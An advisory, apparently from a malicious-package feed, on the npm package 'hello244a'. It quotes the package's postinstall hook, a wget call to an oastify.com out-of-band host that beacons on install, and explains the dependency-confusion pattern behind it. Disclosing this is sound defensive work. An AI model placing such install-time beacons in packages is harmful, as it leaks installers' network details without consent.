Malicious code in hello244a (npm)

---

__

Source: amazon-inspector (02e5f7412a9593e0ec3d0d8c28082c01edff82746bd48966c6fb88a3b1f88866)

The package contains no library code, no main entry, and no documented functionality. Its only file is package.json, which declares a postinstall script: wget --quiet "http://whh5mwn8dlvrjgpe32tqrnu3eukl8kw9.oastify.com/". On npm install, the lifecycle hook fires automatically and performs a plain-HTTP GET to a unique per-victim subdomain on oastify.com (Burp Suite Collaborator, an out-of-band interaction host). The DNS resolution and HTTP request disclose the installer's public IP, DNS resolver, hostname, and internal network position to whoever provisioned that Collaborator instance. The package has no purpose other than this beacon — it is the canonical dependency-confusion / typosquat-shell pattern used to fingerprint installers and prove exploitability of name-resolution weaknesses in private registries.

Source: ossf-package-analysis (91844b3ed7a531e129cbdeef1746ccd1e8e981f74da00aa2a4aef2edf6b47dbf)

The OpenSSF Package Analysis project identified 'hello244a' @ 1.0.12 (npm) as malicious.

It is considered malicious because:

• The package communicates with a domain associated with malicious activity.

• The package executes one or more commands associated with malicious behavior.